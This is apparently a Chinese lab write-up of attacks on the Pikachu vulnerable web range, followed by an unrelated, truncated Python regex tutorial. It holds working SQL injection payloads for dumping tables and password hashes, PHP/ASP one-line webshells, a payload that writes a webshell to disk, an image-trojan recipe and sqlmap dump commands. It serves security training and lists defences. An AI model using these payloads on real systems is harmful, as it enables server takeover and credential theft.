查看下载链接的地址http://192.168.23.128/pikachu/vul/unsafedownload/execdownload.php?filename=rayal.png相当于把ai.png传到后台,后台去找这个文件,把文件读取之后,传到前端下载。
我们点击科比,将url,改为ai.png
ai下载
结果是下载了ai.png
我们还可以使用目录遍历的方式去修改链接下载敏感文件。
防范措施:

  1. 对传入的文件名进行严格的过滤和限定
  2. 对文件下载的目录进行严格的限定

Unsafe file uploads(不安全的文件上传)

由于业务功能的需求很多网站都有文件上传的接口:

  1. 注册时上传头像图片(如jpg、png、gif等)
  2. 上传文件附件(如doc、xls等)
    如果后端开发时并没有对上传文件功能进行安全考虑或者采用有缺陷的措施导致攻击者可以通过某些手段绕过安全措施上传一些恶意文件(一句话木马)导致网站权限被获取

文件上传漏洞的测试流程

  1. 对文件上传的地方按照要求上传文件,查看返回结果(路径和提示等)
  2. 尝试上传不同类型的恶意文件,如xx.php文件分析结果
  3. 查看html源码,看是否在前端通过js做了限制可以绕过
  4. 尝试不同方式进行绕过:黑名单绕过、mime类型绕过、目录0x00截断绕过等
  5. 猜测或者结合其他漏洞(如敏感信息泄露等)得到木马路径链接测试

打开靶场unsafe upfileupload客户端check我们浏览上传文件发现只能上传照片
靶场
我们上传一个php脚本会提示上传文件不符合要求
提示
上传其他类型的文件会被前端提示,有可能这个限制是前端实现的,打开源码查看
源码
发现果然进行了限制,修改前端代码直接删除onchange的函数
修改前端代码
继续上传php文件点击提交结果还是提示文件类型不符合要求,在网上查找发现可以通过禁用网站的javascript来绕过
设置
选择脚本文件并上传
上传脚本
成功并且提示出上传路径,php文件一句话木马成功上传。之后就可以给特定值传命令,执行操作。

文件上传漏洞之MINE type验证原理

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。常见的MIME类型,比如:
超文本标记语言文本.html.html texthtml
普通文本.txt text/plain
RTF文本.rtf application/rtf
GIF图形.gif image/gif
JPEG图形.ipeg.jpg image/jpeg

通过使用PHP的全局数组$_ FILES ,你可以从客户计算机向远程服务器上传文件。
第一个参数是表单的input name,第二个下标可以是”name”, “type”, “size”, “tmp_ name” 或”error”

同样先测试功能,上传图片没有问题,点击上传php文件提示出错
上传
我们上传一个正常图片,然后在上传一个php文件,并且用burp抓包
上传的数据包
上传图片显示上传成功,上传php文件失败,content-type显示的值不同我们将上传php文件的数据包发送到repeater中并将content-type的值改成图片的点击go
修改数据包
文件上传成功
成功绕过
通过http头的修改绕过了MINE type验证成功乱搞。之后就是访问传参,通过一句话木马控制服务器。

文件上传之getimagesize绕过和防范

Getimagesize()返回结果中有文件大小和文件类型,如果用这个函数来获取类型,从而判断是否是图片会存在问题
是否可以绕过?可以,图片头可以被伪造(图片马)
图片马的制作:

  • 直接伪造头部gif89A
  • cmd:copy /b test.jpg + muma.php ccc.phg
  • 使用010edit神器或开源修图工具十六进制写入图片头,通过增加备注,写入执行命令

制作图片马这里采用最简单的第二种方法:
cmd进入桌面,输入命令dir保证可以找到相关文件:
制作图片马
图片马
打开展示无问题,但在图片16进制中添加了一句话木马,上传到靶场
上传
可以看到上传成功,但我们访问并没有执行一句话,这时候就要结合本地文件包含漏洞来使用,打开文件包含漏洞file include,上传图片,修改路径,就可以执行phpinfo命令了
打开本地文件包含构造链接http://192.168.23.128/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2023/03/12/660584640dbf7f8f024953420498.jpg&submit=%E6%8F%90%E4%BA%A4访问会在当前目录生成shell.php然后访问执行代码,或者直接菜刀访问。
成功利用
命令成功执行

防范措施

不要在前端使用JS实施上传限制策略,通过服务端对上传文件进行限制:

  • 进行多条件组合检查:比如文件的大小,路径,扩展名,文件类型,文件完整性
  • 对上传的文件在服务器上存储时进行重命名(制定合理的命名规则)
  • 对服务器端上传文件的目录进行权限控制(比如只读), 限制执行权限带来的危害

Over Permisson(越权漏洞)

越权漏洞原理

越权漏洞概述
由于没有用户权限的严格判断,导致低权限账号(普通用户)可以去完成高权限账号(如后台管理员)范围内的操作
平行越权:A用户和B用户同一级别用户,但各自不能操作对方的个人信息,A越权操做B的信息的情况成为平行越权
垂直越权:A用户权限高于B用户,B用户越权操作A的权限成为垂直越权
越权漏洞属于逻辑漏洞,是由于权限检验的逻辑不够严谨导致
越权漏洞很难通过工具扫描出来只能进行手工测试

水平越权

先登录,提示里查看账号密码,有一个查看个人信息的按钮
登录水平越权
再点击按钮时,向后台提供了一个get请求。提供了当前用户的用户名,然后后台将其信息返回到前台。我们在url中把Lucy改成其他人看看能不能查到信息。
水平越权

垂直越权

先登录超级管理员,去执行只有超级管理员才可以操作的新增账号的功能,用burp抓包。退出登录,登录普通用户,执行新增账号操作如果成功则存在垂直越权漏洞。
垂直越权演示流程:
垂直越权流程

…/…/…/(目录遍历)

目录遍历漏洞在web功能设计中很多时候我们会将要访问的文件定义成变量让前端的功能更灵活,当用户发起一个前端请求,便会将这个文件的值(如文件名)传递到后端,后端在执行对应的文件。在这个过程中如果没有对前端传来的值进行严格的安全考虑则攻击者可能会通过”../“这种方式让后台打开或者执行一些其他的文件,从而导致后端服务器上的其他目录文件结果被遍历出,形成目录遍历。
看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载,甚至文件包含漏洞有差不多的意思,是的,目录遍历漏洞形成的最主要的原因跟这两者一样,都是在功能设计中将要操作的文件使用变量的 方式传递给了后台,而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样,因此,这里还是单独拿出来定义一下。
需要区分一下的是,如果你通过不带参数的url(比如:http://xxxx/doc)列出了doc文件夹里面所有的文件,这种情况,我们成为敏感信息泄露。 而并不归为目录遍历漏洞。(关于敏感信息泄露你你可以在”i can see you ABC”中了解更多)
目录遍历漏洞演示:
目录遍历

敏感信息泄露(can see your ABC)

由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如:
---通过访问url下的目录,可以直接列出目录下的文件列表;
---输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
---前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;
类似以上这些情况,我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。

在敏感信息泄露的靶场中我们查看源码可以看到
信息泄露
登录后可产看页面信息,退出后直接访问登录后的页面也能成功访问
登录后的信息

php反序列化漏洞

在理解之前首先需要明白php中的serialize()&unserialize()函数
**序列化serialize()**序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值

**反序列化unserialize()**就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

常见的几个魔法函数:
__construct()当一个对象创建时被调用

__destruct()当一个对象销毁时被调用

__toString()当一个对象被当作一个字符串使用

__sleep() 在对象在被序列化之前运行

__wakeup将在序列化之后立即被调用

漏洞举例:

class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);

payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

打开靶场进行试验:
演示
在将序列化后的类执行时,可能会调用相应的构造方法,通过这些构造方法,就会对反序列化的代码执行,造成一些不可预计的后果。但是在实际情况中,我们往往需要构造多种payload,来测试出后台往往是使用哪种构造方法,并使用。(序列化漏洞一般在白盒测试中发现需要知道源代码)

xxe(xml外部实体攻击)

XXE -“xml external entity injection”既”xml外部实体注入漏洞”。
概括一下就是”攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题”也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
xml:

<!--第一部分: XML声明-- >
<?xml version="1.0"?>
<!--第二部分:文档类型定义DTID- >
<!DOCTYPE note[ <!--定义此文档是 note类型的文档-->
<!ENTITY entity - name SYSTEM "URL/URL"> <!- 外部实体声 明-->
]]>
<1--第三部分:文档元>
<note>
<to>Dave</to>
<from> Tom</from>
<head> Reminder </head>
<body>You are a good man</body>
</note>

DTD:Document Type Definition即文档类型定义,用来为XML文档定义语义约束。

1.DTD内部声明
<!DOCTYPE 根元素[元素声明]>
2. DTD外部引用
<!DOCTYPE根元素名称SYSTEM “"外部DTD的URI" >
3.引用公共DTD
<!DOCTYPE根元素名称PUBLIC "DTD标识名” “公用DTD的URI” >

如果一个接口支持接收xml数据,且没有对xml数据做任何安全上的措施,就可能导致XXE漏洞。simplexml load string()函数转换形式良好的XML字符串为SimpleXMLElement对象XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致攻击者可以构造一个恶意的XML。

打开靶场我们输入

<?xml version = "1.0"?> 
<!DOCTYPE note [ <!ENTITY hacker "xxe"> ]>
<name>&hacker;</name>

结果:结果

具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。需要对xml进行学习

不安全的url重定向

不安全的url跳转问题可能发生在一切可以执行url地址跳转的地方,如果后端采用了前端传来的(用户的参数,之前预埋在前端页面的url地址)参数作为跳转的目的地,又没有做判断的话就可能发生跳错对象的问题。
url跳转最直接的危害是:

  • 钓鱼:攻击者使用漏洞方的域名(如一个出名公司的域名往往会让用户放心的点击)做掩盖,而最终跳转到钓鱼网站

这个漏洞比较简单,我们来学习一下:打开靶场
靶场
看到有几个链接我们点击看看发现第三个跳转到了不安全的url概述第四个的url有参数,查看源码可看到地址我们添加一条点击发现可以成功跳转到我们指定的网站
源码
网站跳转
熟练后可以的定向转到提前搭建好的恶意站点。在这里我们的应用主要是发现不做后端检测跳转的网站利用它去做钓鱼。

SSRF(服务器端请求伪造)

SSRF(Server-Side Request Forgery:服务器端请求伪造)其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
数据流:攻击者->服务器->目标地址
根据后台使用的函数不同,对应的影响和利用方式也不同

//PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()

如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤。
演示:打开靶场ssrf(curl)点击a标签显示了一首诗和一个1
点击尝试
同样可以改成百度的网址访问百度
访问百度

打开ssrf(file_get_content),点击链接,看链接地址
又跳转
同样修改百度的地址
成功跳转
尝试读取PHP文件的源码:php://filter/read=convert.base64-encode/resource=ssrf.php
读取成功显示到了页面
将信息编码形式转换即可看到文件内容。
成功获取到信息
内网请求:http://x.x.x.x/xx.index
内网请求
测试本地端口是否开放:http://192.168.23.128:22 (探测这台主机内网的这台主句的22端口是否开启)
ssrf要根据后端使用的函数不同利用的方法不同

sql inject(SQL注入)

sql inject漏洞原理概述

在owasp发布的top10漏洞中,注入漏洞一直是危害且排名第一,其中主要指的是SQL Inject漏洞,数据库注入漏洞主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者通过合法输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库泄露的一种漏洞。
注入
正常输入:1 select email from users where id = 1
非法输入:1 or 1=1 select email from users where id = 1

SQL Inject攻击流程

  1. 注入点探测:
    自动方式:使用web漏洞扫描工具,自动进行注入点发现
    手动方式:手工构造sql inject测试语句进行注入点检测发现
  2. 信息获取:
    通过注入点获取期望获得的数据:
    • 环境信息:数库类型、版本,操作系统类型版本、用户信息
    • 数据库信息:数据库名、表、字段、字段内容
  3. 获取权限
    获取操作系统权限:通过数据库执行shell、上传木马

常见注入点的类型

数字型:user_id = $id
字符型:user_id = '$id'
搜索型:text LIKE '%{$_get['search']}'

注入方式

pikachu-SQL-Inject-数字型

post型注入演示 我们打开靶场,下拉框随意点击一个数字查看url
打开靶场
发现url中无参数提交方式是post方式。
首先测试这个输入点是否存在漏洞,正常逻辑我们输入一个id,之后返回数据,因该是后台在数据库进行查询,返回了id相对应的姓名和邮箱可以认为语句为:

select 字段1,字段2 from 表明 where id = 值;

后端接收到的应是$id=$post['id']之后把接受道德参数传进去
我们点击数字2,进行查询,之后打开burp查看抓包
抓取数据包
由于是post型注入我们只能将注入语句加入数据包发送给后端,将抓到的数据包发送到repeater中,我们在输入点输入一段payload:2 or 1=1,点击提交
重放
可以看到返回了所有用户和邮箱信息

pikachu-SQL-Inject-字符型注入

get型注入我们打开靶场,随意输入一段字符,点击提交,提示用户名不存在。发现请求在url中
靶场
正常返回是两个字段,用户名和邮箱。我们可以对后台运行做出猜想

select 字段1,字段2 from 表名 where username="值";

后台接受$uname=$_GET['username']
与xss类似我们要构成一个合法的闭合。字符串需要加单引号才合法。我们需要把前后两个单引号注释掉。输入kb ' or 1=1 #第一个单引号会将前面的单引号闭合,后面的#号会注释掉后面的单引号。我们尝试提交.
测试
可以看到注入成功所有的信息都展示出来了

搜索型注入

我们打开搜索型注入靶场,尝试输入字符c,点击提交查看结果
结果
返回了所有含c的用户名和uid,我们猜测后台运行:

select * from 表名 where username like '%c%';

这种查询比get多了%号,我们要想办法构造一个合法的闭合。

select * from 表名 where username like '%c%' or 1=1 #%';

我们输入构造的字符串c%' or 1=1 #查看结果
结果
只要理解、猜测后台如何拼接,设置合法的语句构造闭合就能成功注入

XX型注入

尝试盲闭合无果后,查看端代码,要闭合)
代码
我们尝试构造闭合c') or 1=1 #输入查看结果
结果
成功闭合获取到了数据,所以提示管tmd什么型构造出闭合就是牛

SQL Inject漏洞手工测试:基于union联合查询的信息获取(select)

union联合查询 可以通过联合查询来查询指定的数据
用法举例:

select username,password from user where id=1 union select 字段1,字段2 from 表名 

联合查询的字段数量要和主查询一致!!!
打开字符型注入,首先用order by猜测有几个字段,我们输入a' order by 5 #
猜字段
正常报错说明主查寻中有两个字段,确认字段后构建union联合查询
a' union select database(),user()#
union查询
这时就会将数据库名称,当前用户权限显示出来
我们还可以查询版本a' union select version(),4#
数据库版本
这里的4直接打印出来了,还可以查询其他东西,一下数据库的相关知识仅供参考

Select version(); //取的数据库版本
Select database(); //取得当前的数据库
Select user(); //取得当前登录的用户
order by X //对查询的结果进行排序,按照第X列进行排序,默认数字0-9 ,字母a-z
思路:对查询的结果使用order by按照指定的列进行排序,如果指定的列不存在,数据库会报错。通过报错判断查询结果的列数,从而确定主查询的字段数。
通过information_schema拿下数据库手工测试完整案例

mysql小知识:

在mysq|中,自带的information_schema这个表里面存放了大量的重要信息。具体如下:
如果存在注入点的话,可以直接尝试对该数据库进行访问,从而获取更多的信息。
比如:
SCHEMATA表:提供了当前mysq|实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema ,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

以字符型为例,我们站在测试者的角度判断是否存在sql注入,以及如何获取数据。
我们首先打开靶场的字符型,我们先输入个单引号,提交发现报错
出错
在单引号处出现了语法错误,那么我们的单引号已经被拼接到sql中执行了,这就说明这里是sql注入点,他会把当前的输入当作数据库查询语句的一部分逻辑去处理。
我们猜测的是字符型的,去做一个小测试,输入a' or 1=1#点击提交
数据
结果发现可以遍历数据,但是现在的结果并不能满足我,我要获取他的基本信息,我们要使用union联合查询获取信息,首先我们需要使用order by来猜测字段数,输入a' order by 3#出现报错,在输入a' order by 2#
猜字段
成功猜出主查询中有两个字段,确定字段数量后我要用联合查询来获取information_schema中的数据,至少要知道数据库名称,构造联合查询的语句a' union select database(),user()#
成功获取
成功获取到数据库的名称为pikachu。拿到名称后我们就可以通过information_schema去获取数据。通过union联合查询,然后通过information_schema去获取pikachu一共有多少个表,表的名称是什么
构造联合查询语句如下

a' union select table_schema,table_name from information_schema.tables where table_schema='pikachu' #

查表名
pikachu数据库所有表的名称被我们爆出来了,我们进一步分析,我们发现有一个叫做users的表,我们可以猜测这是存放用户名和密码的表,构造联合查询通过information_schema表查询出users表的字段名

a' union select table_name,column_name from information_schema.columns where table_name='users'#

表的字段名
我们发现有账号和密码,现在来获取账号和密码,union联合查询的语句为:

a' union select username,password from users#

账号密码

账号密码到手,但发现密码是经过加密处理的,通过长度判断应该是md5加密,通过网上碰撞解出密文。
解密密码
这时我们的目的已经达成获取到了管理员的账号和密码。

SQL Inject漏洞手工测试基于报错信息获取(select/delete/update/insert)

技巧思路:在mysql中使用一些指定的函数来制造报错,从而报错信息中获取设定的信息。
select/insert/update/delete都可以用来报错获取信息
背景条件:后台没有屏蔽数据库报错信息,在语法发生错误时会在前端输出。

基于报错的信息获取——三个常用的用来报错的函数
updatexml() :函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数。
floor(): MYSQL中用来取整的函数。

**updatexml():**作用:改变(查找并替换)xml文档中符合条件的节点的值
语法:

UPDATEXML(xml document,XPathstring,new_value)
第一个参数:fiedname是string格式,为表中的字段名
第二个参数:XPathstring(Xath格式的字符串)
第三个参数:new.balue,String格式,替换查找到的符合条件的

Xpath定位必须是有效的,否则会发生错误。

Select下报错的利用:
我们还是打开字符型注入,首先判断有没有报错,会不会在前端显示,我们输入单引号发现有注入报错。
单引号出错
现在构造一个报错:a' and updatexml(1,version(),0)#
构造语句测试
出现.26,并没有把对应的版本号爆出来,现在对语句修改:
a' and updatexml(1,concat(0x7e,version()),0)#
成功获取到版本
成功获取到版本号,我们可以把version替换成任意我们想要获得的东西
a' and updatexml(1,concat(0x7e,database()),0)#
获取数据库名
获取到数据库名,进行进一步查询
a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
尝试查表名
报错返回数据多余一行,说明报错有多行。可以使用limityici一次获取表名信息
a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
获取表名
我们可以得到第一个表名。想要得到第二个表名只要把limit后边的第一个0改成1即可。依此类推,可以得到所有表名。到第三个的时候获取到user表名
a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 3,1)),0)#
user表名获取
在获取表名之后,思路一样,获取列名
a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)#
获取列名
同样的依此类推得到所有列名后再来获取数据
a' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#
数据
获取了第一个用户名,再根据用户名查询密码
a' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#
密码
获取到md5加密的密文,在网站中撞库解密密文获取明文密码。

insert/update注入利用
我们打开靶场点击注册
注册
一样的方法判断是否有注入漏洞加个单引号看是否报错
判断注入点
经判断存在sql注入漏洞,重点是如何利用,如何构造闭合

用户名输入: a' or updatexml(1,concat(0x7e,database()),0) or '

密码随便输,点击提交
注入成功
成功得到数据库名。思路一样将database做替换,得到想要的信息
update与insert是一模一样的,我们先登录用户。
在这里可能会有人显示不出来信息,可以参考解决方案。
在使用pikachu的时候发现一点问题,好像是由php版本较高导致的不兼容,如图:
报错
在这里我们打开这个路径,找到第70行,把MYSQL_ASSOC改成MYSQLI_ASSOC,保存文件,刷新网页。就可以啦。
原因:在php7中,MYSQL_ASSOC不再是一个常量,将 MYSQL_ASSOC改为MYSQLI_ASSOC,意思是mysqli的方式提取数组,而不再是mysql 。(原因:mysql_fetch_arrayhan函数转为mysqli_fetch_array,参数没有修改)
修改后恢复正常
问题解决
尝试注入的流程
更新注入流程
爆出数据库名称,之后逻辑就一样了。

delete注入利用
打开delete注入靶场,添加几条评论
打开靶场
点击删除留言,留言被删除,我们打开burp查看抓到的数据包
数据包
将数据包发送到repeater模块中,get后边的id可以注入,构成闭合

1 or updatexml(1,concat(0x7e,database()),0)

数据包修改操作
改包
点击go执行
执行
出现数据库名,剩下的操作就是更换database获取信息

extractvalue()
extractvalue()函数作用:从目标XML中返回包含所查询值的字符串。
语法: ExtractValue(xml _document, xpath. string)

  • 第一个参数:xml _document是string格式,为xml文档对象的名称,文中为Doc
  • 第二个参数:xpath. string(xpath格式的字符串)

Xpath定位必须是有效的,否则会发生错误。
打开字符型注入,输入payload:kobe' and extractvalue(0,concat(0x7e,version()))#
执行
效果差不多

floor()
字符型中输入payload:kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
效果
原理都差不多都是报错显示信息,区别是使用的函数也不一样,构造的语句也不同

SQL注入漏洞-基于http header的注入

什么是http header注入:后台开发人员为了验证客户端头信息(比如常用的cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑,则可能会导致基于http header的SQL Inject漏洞。
漏洞演示:
打开靶场点击提示获得账号密码登录
登录
登录后页面
可以看到http头信息展示到了前端页面,说明后台对http头数据进行了获取,进行了数据库操作,打开burp的数据包发送到repeater中进行测试
寻找注入
找到注入我们输入payload:firefox' or updatexml(1,concat(0x7e,database()),0) or '
利用成功
返回了数据库名称

SQL注入漏洞-盲注

什么是盲注?
在有些情况下,后台使用了错误消息屏蔽方法(比如@ )屏蔽了报错
此时无法在根据报错信息来进行注入的判断。这种情况下的注入,称为“盲注”根据表现形式的不同,盲注又分为based boolean和based time两种类型

基于boolean的盲注
表现症状:

  1. 没有报错信息
  2. 不管正确输入还是错误输入都只显示0或1
  3. 在正确的输入下,输入 and 1=1 或者 and 1=2 发现可以判断

测试演示:
打开boolean盲注,输入kobe' and 1=1#
流程
对比说明存在sql注入漏洞,我们尝试之前的方法发现都行不通
只能重新构造语句kobe' and ascii(substr(database(),1,1))>113#
查询显示不存在
查询
修改大于号后边的值
修改
一次修改猜第二个字符的语句为kobe' and ascii(substr(database(),2,1))>105#
第二个字符
只能一个一个试出来,这样思路就有了。

基于timebase的盲注
如果说基于boolean的窗注在页面上还可以看到0 or 1的回显的话那么基于time的盲注完全就啥都看不到了!但还有一个条件,就是“时间”, 通过特定的输入,判断后台执行的时间,从而确认注入!
常用的teat payload:kobe’ and sleep(5)#
打开基于时间的盲注靶场输入kobe和payload查看区别,从而判断这里存在basedtime sql inject
输入单引号查看时无反应,进行其他尝试也是无反应,然后输入时间盲注的payload查看结果
验证时间盲注
数据包分析
可以看到有一个请求有5毫秒多的延时说明我们的payload中的延时函数成功执行。
我们构造一个payload来猜解出数据库构造语句kobe' and if((substr(database(),1,1))='p',sleep(5),null)#意思是如果数库名的第一个字符等于p时延时5秒否则不延时,网页返回时间有延时说明第一个字符是p,不延时则不是p,然后思路就和布尔盲注的思路一样猜解、替换database

远程控制

一句话木马:是一种短小而精悍的木马客户端,隐蔽性好,功能强大
php的一句话:< ?php @eval($_ POST'chopper']);?>
asp的一句话:< %eval request("chopper")%>
asp.net的一句话:<%@ Page Language= Jscript” %> <%eval(Request.Item["chopper"]), “unsafe );%>

select 1,2 into outfile “/var/www/html/1.txt”
into outfile 将select的结果写入到指定的目录的1.txt

在没有回显的注入中可以使用into outfile将一句话写入到文件然后获取权限,前提:

  1. 需要知道远程目录
  2. 需要远程目录有写入权限
  3. 需要数据库开启secure_file_priv

字符型注入写入一句话木马获取权限:
payload:kobe' union select "<?php @eval($_GET['test'])?>",2 into outfile "C:/phpstudy_pro/WWW/pikachu/3.php"#
流程
将一句话写入到目录下的3.php,用工具链接即可获取权限。

SQL Inject漏洞之表(列)名的暴力破解

打开字符型注,payload:

kobe' and exists(select * from aa)#
kobe' and exists(select id from users)#

判断是否存在aa表,判断是否存在id在users表中
测试语句
测试语句
可以看到第一个没有表,第二个成功返回页面信息,我们抓包,进行暴破表名:
暴破注入
同样的我们也可以用第二个payload暴破猜出列名。

自动化注入攻击(SQL-MAP进行sql inject攻击)

可以直接在官网下载压缩包:
sqlmap的经典用法:

1. python sqlmap.py -u "url" --cookie="yy" #带上cookie对url进行注入探测
2. python sqlmap.py -u "url" --current-db #获取当前数据库名称
3. python sqlmap.py -u "url" --tables -D "数据库名" #列表名
4. python sqlmap.py -u "url" --columns -T "表名" -D "数据库名" -v 0 #列字段
5. python sqlmap.py -u "url" --dump -C "字段名" -T "表名" -D "数据库" -v 0 #获取字段内容
-r 文件名 #这种可以指定文件,用法用burp抓个包将数据包存为文件并在注入点出加一个*做标记

-v x 参数介绍
参数介绍

SQL注入漏洞的常见防护措施

代码层面的防护:

  1. 对输入进行严格的转义和过滤
  2. 使用预处理和参数化(Parameterized)

网络层面:

  1. 通过waf设备启用防SQL注入策略或类似防护系统
  2. 云端防护(360网站卫士或阿里云盾)

加waf
加云端防护

参考资料

视频学习教程:https://www.bilibili.com/video/BV1KY4y1u7nk?p=2
pikachu场资源:https://github.com/zhuifengshaonianhanlu/pikachu
参考学习:https://www.fkqq.fun/2022/07/11/pikachu/

python学习使用正则表达式

python学习使用正则表达式

正则表达式:

又称规则表达式,是处理字符串的有力工具,是对字符串操作的一种逻辑公式。

本质:使用事先定义好的一些特定字符组成的“规则字符串”的一种过滤逻辑

规则字符串:包括普通字符(如:a~z之间的英文字母,数字)和特殊字符(称为“元字符”)

例:

"0\d{2,3}-\d{7,8}"包括普通数字和匹配数字的元字符"\d"可以过滤或提取字符串中包含的固定电话号码,如:000-00000000

与python中提供的字符出处理函数相比,正则表达式提供了更强大的处理功能,可以快速、准确地完成复杂的查找、替换等处理任务,其逻辑性、灵活性、功能性强,而且能极简单的方式实现字符串的复杂控制

正则表达式处理字符过程:

  1. 编写正则表达式

  2. 使用正则表达式引擎对正则表达式进行编译,得到正则表达式对象

  3. 通过正则表达式对象对字符串进行匹配或过滤,得到匹配的结果

例:正则表达式提取字符串中的日期

正则表达式语法:

正则表达式组成:

  1. 正则表达式的构造方法和数学表达式的构造方法一样,使用多种元字符和运算符组合在一起创建一个表达式,组成表达式的可以是单字符,字符集合,字符范围、字符间的选择或者它们之间的任意组合

    • 普通字符:

      正则表达式中的普通字符:

      1. 英文字母:26个大小写英文字母共52个
      2. 汉字:Unicode字符集中包括的汉字
      3. 数字:0~9共十个数字
      4. 标点符号:如:”:” “,”等
      5. 其他符号:如:”\n(换行符)”\t(制表符)”等非打印字符
    • 特殊字符:

      有特殊含义的字符,特殊字符一般具有通用性:

      字符匹配模式:

      语法 解释
      . 匹配除换行符(\n)外的任意单个字符
      \ 表示位于\之后的为转义字符
      | 匹配位于|之前或之后的字符
      [] 匹配位于[]中的任意一个字符
      [a-b]或[abc] 匹配指定范围的任何字符
      [^a-c]或[^abc] 匹配指定范围外的任何字符
      () 将()中的内容作为一个整体对待
      \d 匹配一位数字
      \D 与\d刚好相反
      \w 匹配一位数字、字母、下划线
      \s 匹配一位空白字符:<空格>,\t,\n,\r,\f,\v
      \S 与\s相反
      \W 与\w相反

      定位符:

      语法 解释
      ^ 匹配以^后面的字符或模式开头的字符串
      $ 匹配以$前面的字符或模式结束的字符串
      \b 匹配单词头或单词尾
      \B 与\b相反

      限定符:

      语法 解释
      * 匹配*前一个字符出现0次或多次
      + 匹配+前一个字符出现一次或多次
      匹配?前一个字符只能出现一次或0次
      {m} 匹配前一个字符只能出现m次
      {m,} 匹配前一个字符出现至少m次
      {m,n} 匹配前一个字符至少出现m~n次

      扩展语法:

语法 解释
(?#pattern) 表示注释
(?:pattern) 匹配但不捕获该匹配的子模式
(?=pattern) 用于正则表达式之后,如果=后的内容在字符串中出现则匹配,但不返回=之后的内容
(?!pattern) 用于正则表达式之后,如果!之后的内容在字符串中不出现则匹配,但不返!之后的内容
(?<=pattern) 用于正则表达式之前,如果<=后的内容在字符串中出现则匹配,但不返回<=之后的内容
(?<!pattern) 用于正则表达式之前,如果<!后的内容在字符串中不出现则匹配,但不返回<!的内容

贪婪模式与非贪婪模式:

贪婪模式与非贪婪模式影响的是被量词修饰的子表达式的匹配行为

贪婪模式:在整个表达式匹配成功的前提下尽可能多的匹配

非贪婪模式:在整个表达式匹配成功的前提下,尽可能少的匹配

默认贪婪模式,在量词后面直接加上一个”?“就是非贪婪模式

字符串的贪婪模式与非贪婪模式:

str="<div>监督学习</div><div>非监督学西</div><div>半监督学习</div>"
pat1=re.compile('<div>.*</div>')
res1=pat1.findall(str)
print("贪婪匹配:",res1)
pat2=re.compile('<div>.*?</div>')
res2=pat2.findall(str)
print("非贪婪匹配:",res2)

使用正则表达式模块处理字符串

使用标准库Re模块可以使用正则表达式全部功能:

  1. 直接调用re模块中的函数
  2. 将正则表达式编译程成正则表达对象后再调用表达式对象中的函数、

re模块中常用的函数:

匹配函数:

